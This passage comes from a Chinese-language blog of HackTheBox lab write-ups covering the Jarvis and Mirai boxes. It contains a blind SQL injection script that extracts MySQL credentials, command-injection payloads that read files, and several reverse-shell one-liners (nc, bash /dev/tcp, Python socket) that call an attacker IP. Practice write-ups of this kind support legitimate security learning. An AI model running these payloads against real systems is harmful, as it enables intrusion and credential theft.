2&amp;gt;&amp;amp;1 &amp;amp;&lt;/p&gt;&#10;&lt;p&gt;path都知道是/var/www/html/uploads/ 而value是下面的一个文件&lt;/p&gt;&#10;&lt;p&gt;我们在uploads下面touch &amp;ldquo;1;nc -c sh 10.10.16.13 6666 &amp;amp;&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;这样他会弹一个shell回来&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0213.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;没有问题&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0214.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;常规提权 去看看这个文件是啥&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0215.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;看了一遍找不出啥问题 根据配置名称直接google&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0216.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0217.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://seclists.org/fulldisclosure/2019/Apr/24" target="_blank" rel="noopener"&#10; &gt;https://seclists.org/fulldisclosure/2019/Apr/24&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;在NAME那直接切换用户看看&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0218.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;结束 刚开始以为是纯代码审计 搞了半天没想到这种靶场还是更偏向于漏洞利用和搜索能力 后续遇到提示或者框架啥的 第一时间要先搜payload&lt;/p&gt;&#10;&lt;h2 id="12jarvis"&gt;&lt;a href="#12jarvis" class="header-anchor"&gt;&lt;/a&gt;12.Jarvis&#10;&lt;/h2&gt;&lt;p&gt;信息收集：&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0219.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0220.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;不能开扫描吧 不然要被封&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0221.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;两个域名加到host里&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0222.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;加了域名貌似没什么不一样 再看看&lt;/p&gt;&#10;&lt;p&gt;貌似不对64999进行攻击就不会被封 我开了目录爆破也没事 这个封禁机制很奇怪 可能是nmap的一些操作导致的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0223.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;找到个很明显的注入点 oscp要求不能使用sqlmap等等工具 这里手测就行&lt;/p&gt;&#10;&lt;p&gt;目前不知道绝对路径 测了一下当前用户非root 也不清楚有没有写入权限 也不知道绝对路径&lt;/p&gt;&#10;&lt;p&gt;这一系列因素导致无法写shell 但是我发现了一个phpmyadmin&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://supersecurehotel.htb/phpmyadmin/index.php" target="_blank" rel="noopener"&#10; &gt;http://supersecurehotel.htb/phpmyadmin/index.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;这种时候思路就很清楚了 直接获取当前用户账号密码 登陆进去看看&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Host&amp;#39;: &amp;#39;10.10.10.143&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;en-US,en;q=0.5&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Encoding&amp;#39;: &amp;#39;gzip, deflate&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Connection&amp;#39;: &amp;#39;close&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cookie&amp;#39;: &amp;#39;PHPSESSID=2c1jempek07j9n0fdtce3bcgn7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a = open(&amp;#39;2.txt&amp;#39;,&amp;#39;r&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).readlines()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(&amp;#34;start&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for number in range(1,18):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for i in a:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = i.replace(&amp;#39;\n&amp;#39;, &amp;#39;&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; url = f&amp;#34;http://10.10.10.143/room.php?cod=1%20and%20substr((SELECT%20User%20FROM%20mysql.user),{str(number)},1)=%27{temp}%27--+&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(url=url, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 200 and len(response.text) &amp;gt; 6200:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp, end=&amp;#39;&amp;#39;, flush=True)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a = open(&amp;#39;3.txt&amp;#39;,&amp;#39;r&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).readlines()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(&amp;#34;start&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for number in range(2,1000):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for i in a:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; temp = i.replace(&amp;#39;\n&amp;#39;, &amp;#39;&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; url = f&amp;#34;http://10.10.10.143/room.php?cod=1%20and%20substr((SELECT%20Password%20FROM%20mysql.user),{str(number)},1)=%27{temp}%27--+&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(url)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(url=url, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(len(response.text))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if response.status_code == 200 and len(response.text) &amp;gt; 6200:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(temp, end=&amp;#39;&amp;#39;, flush=True)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; break&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;写了个脚本&lt;/p&gt;&#10;&lt;p&gt;2.txt 包含这些 大写字母（A-Z）（a-z）（0-9）（_，-）&lt;/p&gt;&#10;&lt;p&gt;3.txt包含可能的密码 首字母一定是*没用 后面的都是字符 放个字符字典就行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0224.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;如果获取帐号用的是 select user() 后面会有@localhost&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0225.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;解密&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0226.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0227.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;成功进来了&lt;/p&gt;&#10;&lt;p&gt;版本4.8.0 找对应的exp就行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0228.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;50457貌似可以&lt;/p&gt;&#10;&lt;p&gt;能进后台phpmyadmin的洞还是很多的 成功执行命令&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0229.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0230.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;弹上来了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0231.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;开始提权 我的思路是将重点不再放到这个站点上了 因为当前用户的账密都有了 完全没东西 也没必要去看配置文件了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0232.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;pepper目录下有个log，记录了我们的攻击&lt;/p&gt;&#10;&lt;p&gt;看一眼常规提权 还是有东西的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0233.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;思路就是这个了 去看看&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0234.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;先传pspy32在另一个窗口监控进程 再来看这个 主要看看意外收获 做完这个之后再去看进程有些来不及&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0235.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0236.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;发现几个有意思的东西&lt;/p&gt;&#10;&lt;p&gt;但我们还是先监控着 先去看刚刚那个文件&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0237.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;找到了关键点&lt;/p&gt;&#10;&lt;p&gt;第一个参数给-p&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0238.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;再去看刚刚那个函数 它对输入内容进行了筛选 不让输入带拼接的东西 我没有想到绕过的方法&lt;/p&gt;&#10;&lt;p&gt;根据之前做过的靶场 我这次想到了直接去google 用英文表达&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://security.stackexchange.com/questions/219605/command-injection-filtering-bypass" target="_blank" rel="noopener"&#10; &gt;https://security.stackexchange.com/questions/219605/command-injection-filtering-bypass&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;然后找到了一个有用的文章&lt;/p&gt;&#10;&lt;p&gt;sudo -u pepper /var/www/Admin-Utilities/simpler.py -p&lt;/p&gt;&#10;&lt;p&gt;127.0.0.1$(cat /home/pepper/user.txt &amp;gt;/tmp/2)&lt;/p&gt;&#10;&lt;p&gt;10.10.66.66$(cat /home/pepper/user.txt)&lt;/p&gt;&#10;&lt;p&gt;拼接测试看看&lt;/p&gt;&#10;&lt;p&gt;两个都可以 一个是直接写入文件 一个让他报错然后输出&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0239.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;成功读取 准备提权&lt;/p&gt;&#10;&lt;p&gt;这里我试了很多 最后想到了一个好方法 他不允许带- 但是所有的弹shell的方法都要- 并且su切换也不行 要密码的&lt;/p&gt;&#10;&lt;p&gt;直接将弹shell的代码写入 echo &amp;ldquo;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.13/6661&amp;rsquo;&amp;rdquo; &amp;gt; /tmp/1.sh&lt;/p&gt;&#10;&lt;p&gt;然后拼接命令的时候直接调用&lt;/p&gt;&#10;&lt;p&gt;10.10.66.66$(sh /tmp/1.sh)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0240.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;成功弹回shell 但还遇到一个问题 就是这个新shell 是靠老的来维持的 老的一断开或咋样 这个新的 完全没任何效果 只能说是写的弹shell的脚本有问题&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0241.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;换一个python脚本就好了&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&amp;#34;10.10.10.10&amp;#34;,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&amp;#34;sh&amp;#34;)&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;写到/tmp/2.py里运行就弹回来了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0242.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;常规提权貌似不行了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0243.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;回看pspy32 没有看到什么计划任务 只有两个/root下面运行的文件 但是我没有任何查看的权限&lt;/p&gt;&#10;&lt;p&gt;直接传脚本去扫&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0244.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0245.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0246.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0247.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0248.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;以上是获取到的信息 很明显最后一个提权就在这&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0249.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我找到了方法但是有点难用 这一篇写的不错 最后成功提权了&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/zlgxzswjy/p/14781471.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/zlgxzswjy/p/14781471.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0250.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0251.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;至此就结束了 这一篇学的东西还是挺多的 但是没有跟之前一样卡住 每一步都能解决&lt;/p&gt;&#10;&lt;p&gt;开始翻wp&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0252.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这一步使用联合注入 用的是写shell那个方法&lt;/p&gt;&#10;&lt;p&gt;其他思路没有太大问题&lt;/p&gt;&#10;&lt;h2 id="13mirai"&gt;&lt;a href="#13mirai" class="header-anchor"&gt;&lt;/a&gt;13.Mirai&#10;&lt;/h2&gt;&lt;p&gt;信息收集:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0253.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;22没东西&lt;/p&gt;&#10;&lt;p&gt;53没有域名解析不了&lt;/p&gt;&#10;&lt;p&gt;80有一个admin还有一个version 还有一段话&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0254.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;剔除长度61接着目录爆破就行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0255.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;没有找到能利用的漏洞 能利用的都是需要登陆进去拿到session的 一般爆破一边找默认口令把&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0256.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;version也没东西 默认口令 用户名：pi 密码：raspberry&lt;/p&gt;&#10;&lt;p&gt;先放着接着往后走&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0257.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0258.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0259.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;完全没东西 目前的思路就只有ssh还有那个plex 但是plex访问不了 先爆目录看看吧&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0260.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;直接上来了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0261.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;离谱&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0262.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;果然没那么简单&lt;/p&gt;&#10;&lt;p&gt;后续研究了一下这个 按照我的思路 开始测试 因为从来没了解过这东西&lt;/p&gt;&#10;&lt;p&gt;按照我错误的方式我操作了很久 完全不行&lt;/p&gt;&#10;&lt;p&gt;后续只能看到wp了解到一个关键的地方&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0263.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;首先 df -h&#9;mount&#9;lsblk&lt;/p&gt;&#10;&lt;p&gt;这三个命令都能看到被挂载的是哪个设备 根据这个人的解释来说 挂载之后我给他删了 不代表原始设备上也被删了&lt;/p&gt;&#10;&lt;p&gt;只有这一篇文章解释得很清楚&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://0xdf.gitlab.io/2022/05/18/htb-mirai.html" target="_blank" rel="noopener"&#10; &gt;https://0xdf.gitlab.io/2022/05/18/htb-mirai.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;就是说 删除操作没有彻底清除 只是将文件系统的目录结构删了 当有新数据写入的时候会进行覆盖(貌似所有硬盘都是这个逻辑)&lt;/p&gt;&#10;&lt;p&gt;cat grep strings都可以 因为他们都可以看到这个文件的数据&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0264.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0265.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;没问题&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0266.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;grep -aPo &amp;lsquo;[a-zA-Z0-9]{32}&amp;rsquo; /dev/sdb&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0267.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;只能说学到了&lt;/p&gt;&#10;&lt;p&gt;到此结束 这一个扩展了新知识 跟之前的思路只能说很多不一样 学到了新东西&lt;/p&gt;&#10;&lt;h2 id="14popcorn"&gt;&lt;a href="#14popcorn" class="header-anchor"&gt;&lt;/a&gt;14.Popcorn&#10;&lt;/h2&gt;&lt;p&gt;信息收集：&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0268.zh.webp" alt="" loading="lazy" 